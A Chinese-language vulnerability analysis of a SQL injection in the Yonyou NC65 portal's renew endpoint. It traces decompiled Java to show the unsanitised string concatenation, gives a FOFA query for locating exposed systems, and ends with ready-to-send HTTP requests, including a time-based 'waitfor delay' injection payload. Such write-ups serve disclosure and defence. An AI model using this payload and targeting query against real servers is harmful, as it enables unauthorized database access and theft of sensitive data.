漏洞简介
用友NC系统可利用/portal/pt/setting/renew接口中的 pageName 和 pageModule 参数实现sql注入漏洞,从而窃取服务器的敏感信息。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告可知 renew 为sql注入点,参数为 pageName

因此搜索 renew 方法定义即可找到如下文件
nc/uap/portal/action/PortalSettingAction.class
package nc.uap.portal.action;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.Cookie;
import nc.uap.cpb.org.exception.CpbBusinessException;
import nc.uap.cpb.org.util.CpbServiceFacility;
import nc.uap.cpb.org.vos.CpUserVO;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.comm.setting.PtSettingVO;
import nc.uap.portal.comm.setting.itf.IPortalSetting;
import nc.uap.portal.deploy.vo.PtSessionBean;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.exception.UserAccessException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.om.PortletDisplay;
import nc.uap.portal.om.Skin;
import nc.uap.portal.plugins.PluginManager;
import nc.uap.portal.portlet.AddPortletHelper;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.ToolKit;
import nc.uap.portal.util.freemarker.FreeMarkerTools;
import nc.uap.portal.vo.PtPageVO;
import nc.uap.portal.vo.PtThemeVO;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.lang.StringUtils;
@Servlet(
path = "/setting"
)
public class PortalSettingAction extends BaseAction {
public PortalSettingAction() {
}
@Action
public void renew(@Param(name = "pageName") String pageName, @Param(name = "pageModule") String pageModule) {
PtSessionBean sbean = (PtSessionBean)LfwRuntimeEnvironment.getLfwSessionBean();
String userid = sbean.getPk_user();
if (StringUtils.isBlank(userid)) {
throw new IllegalArgumentException(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000007"));
} else {
try {
StringBuffer where = new StringBuffer(" pagename='");
where.append(pageName).append("' and module='").append(pageModule);
where.append("' and fk_pageuser='").append(userid).append("'");
PtPageVO[] pages = PortalServiceUtil.getPageQryService().getPagesByCondition(where.toString());
if (pages != null && pages.length > 0) {
PortalServiceUtil.getPageService().delete(pages[0].getPk_portalpage());
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000008"));
return;
}
} catch (Exception e) {
PortalLogger.error(e.getMessage(), e);
}
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000009"));
}
}
pageName 和 pageModule 直接拼接进 getPagesByCondition 语句中,其实现逻辑如下
public PtPageVO[] getPagesByCondition(String condition) throws PortalServiceException {
PtBaseDAO dao = new PtBaseDAO();
try {
List<PtPageVO> vos = (List)dao.retrieveByClause(PtPageVO.class, condition);
if (vos != null && vos.size() > 0) {
return (PtPageVO[])vos.toArray(new PtPageVO[0]);
}
} catch (DAOException e) {
PortalLogger.error(e.getMessage(), e);
}
return null;
}
将 where 语句即 condition 又代入 dao.retrieveByClause 中,其实现逻辑如下
public Collection retrieveByClause(Class className, String condition) throws DAOException {
PersistenceManager manager = null;
Collection values = null;
try {
manager = this.createPersistenceManager(this.dataSource);
values = manager.retrieveByClause(className, condition);
} catch (DbException e) {
Logger.error(e.getMessage(), e);
throw new DAOException(e.getMessage());
} finally {
if (manager != null) {
manager.release();
}
}
return values;
}
将 condition 代入 createPersistenceManager.retrieveByClause 中,其实现逻辑如下
public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
BaseProcessor processor = new BeanListProcessor(className);
return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
}
通过 buildSql 组合 where 语句 其代码实现逻辑如下
private String buildSql(Class className, String condition, String[] fields) {
SuperVO vo = (SuperVO)this.InitClass(className);
String pkName = vo.getPKFieldName();
boolean hasPKField = false;
StringBuffer buffer = new StringBuffer();
String tableName = vo.getTableName();
if (fields == null) {
buffer.append("SELECT * FROM ").append(tableName);
} else {
buffer.append("SELECT ");
for(int i = 0; i < fields.length; ++i) {
if (fields[i] != null) {
buffer.append(fields[i]).append(",");
if (fields[i].equalsIgnoreCase(pkName)) {
hasPKField = true;
}
}
}
if (!hasPKField) {
buffer.append(pkName).append(",");
}
buffer.setLength(buffer.length() - 1);
buffer.append(" FROM ").append(tableName);
}
if (condition != null && condition.length() != 0) {
if (condition.toUpperCase().trim().startsWith("ORDER ")) {
buffer.append(" ").append(condition);
} else {
buffer.append(" WHERE ").append(condition);
}
}
return buffer.toString();
}
最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。
漏洞复现
可先通过 list 或 templateList 接口来确定目标是否存在此应用
GET /portal/pt/setting/templateList?pageId=login HTTP/1.0
Host: nc65.mrxn.net

GET /portal/pt/setting/templateList?pageId=login HTTP/1.0
Host: nc65.mrxn.net
因存在 LfwRuntimeEnvironment.getLfwSessionBean() 漏洞利用需要登录权限
GET /portal/pt/setting/renew?pageId=login&pageName=1'waitfor+delay+'0:0:2'--&pageModule=1'waitfor+delay+'0:0:2'-- HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xxxx
参考
https://security.yonyou.com/#/noticeInfo?id=541


